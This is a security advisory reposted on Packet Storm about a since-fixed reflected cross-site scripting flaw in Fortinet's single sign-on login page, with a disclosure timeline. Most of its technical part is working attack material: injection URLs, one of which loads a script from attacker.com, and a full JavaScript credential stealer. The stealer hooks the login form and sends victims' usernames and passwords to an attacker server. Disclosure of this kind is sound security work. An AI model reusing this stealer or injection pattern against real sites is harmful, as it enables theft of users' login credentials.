exploit the possibilities

Fortinet Cross Site Scripting

Fortinet Cross Site Scripting
Posted Dec 4, 2015
Authored by Yann CAM

The login.fortinet.com site suffered from a reflective cross site scripting vulnerability.

tags | exploit, xss
MD5 | cf6ecdecb22a20bf3c0579e9adc14dec

Fortinet Cross Site Scripting

Change Mirror Download
######################################################################
# Exploit Title: fortinet.com Reflected XSS Credential stealer
# Date: 04/12/2015
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.fortinet.com
# Version: /
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on: Fortinet sub-domains (login domain)
######################################################################

Fortinet description :
======================================================================

Fortinet, Inc. is an American multinational corporation founded in 2000 by brothers Ken and Michael Xie. The company sells high performance network security products and services including their flagship integrated network security solution, the FortiGate firewall. Fortinet distributes its systems and subscription-based services using the channel partner sales method via more than 20,000 partners worldwide. Fortinet is positioned as the revenue leader in unified threat management (UTM) solutions.

Fortinet competes in the UTM and network security industry, and has the third-highest market share in security appliances after Cisco Systems and Check Point.


Vulnerability description :
======================================================================
A reflected Cross-Site Scripting vulnerability was identified in login.fortinet.com IdP-SSO page.
To access protected resources on searchsupport.fortinet.com or forticare.fortinet.com, users are redirected to login.fortinet.com to login (Single Sign-On federation through uniq IdP).
This IdP suffers from a RXSS, and a malicious user can catch all credential (login / password) in plaintext (demonstration : https://www.youtube.com/watch?v=vDYdBMeZ7fc).

Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake Fortinet portals, or capture Fortinet's users credentials.
This vulnerable parameter is not properly sanitized before being used in pages.


Proof of Concept 1 - login.fortinet.com - RXSS alert() canonical :
======================================================================

A non-persistent XSS (RXSS) in "wtrealm" GET param is available in the SSO domain of Fortinet.
Tested on Firefox 42.0.

PoC:

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP


Proof of Concept 2 - login.fortinet.com - RXSS third party script :
======================================================================

Through this XSS, a malicious user can load a third-party JavaScript file in the login.fortinet.com browser's context.
The next quick'n'dirty JavaScript file can illustrate the availability of an attacker to grab all credential in plaintext.
Tested on Firefox 42.0.

PoC:

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>s=document.createElement('script');s.setAttribute('src','//attacker.com/x.js');document.body.appendChild(s);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP

x.js hosted on "https://attacker.com/x.js" :

//alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);
// Add JQuery dynamically if needed
var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'https://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq); // jquery dynamic loading
// function to send through GET the login/password of the victim to the attacker's server
function sendX(login, passwd){
var x=document.getElementsByTagName('head')[0];
var y= document.createElement('script');
y.type= 'text/javascript';
y.src= 'https://attacker.com/x.php?LOGIN='+login+'&PASSWD='+passwd;
x.appendChild(y);
}
// function to recover the form submit action event
function submitX(){
document.forms[0].onsubmit=function() {
return true; // enable the form "action"
};
document.forms[0].submit();
}
// function to hook the login form and add an onsubmit action (before the form action)
function loadX(){
$( document ).ready(function() {
$("#contextHolder_InvalidRPAddress").html(""); // clean the error message on the page
document.forms[0].onsubmit=function() {
login=document.getElementById("contextHolder_Login_name").value;
passwd=document.getElementById("contextHolder_Login_password").value;
sendX(login,passwd); // retrieve login/password
setTimeout("submitX()", 1000); // recover initial form submit action
return false; // block the form "action"
};
});
}
setTimeout('loadX()', 2000);


Demonstration video :
======================================================================

- https://www.youtube.com/watch?v=vDYdBMeZ7fc

Screenshots :
======================================================================

- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_001.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_002.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_003.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_004.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_005.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_006.png


Solution:
======================================================================

Fixed by Fortinet Security Team.


Additional resources :
======================================================================

- https://www.fortinet.com
- http://www.asafety.fr/
- http://www.synetis.com


Report timeline :
======================================================================

2015-11-06 : Fortinet PSIRT Team alerted with details and PoC.
2015-11-27 : Fortinet PSIRT Team response with thanks and open a ticket.
2015-12-02 : Fortinet PSIRT Team fixe the issue and ask to check the correction.
2015-12-03 : Fix confirmed and ticket closed.
2015-12-04 : Public advisory.


Credits :
======================================================================

88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety

--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close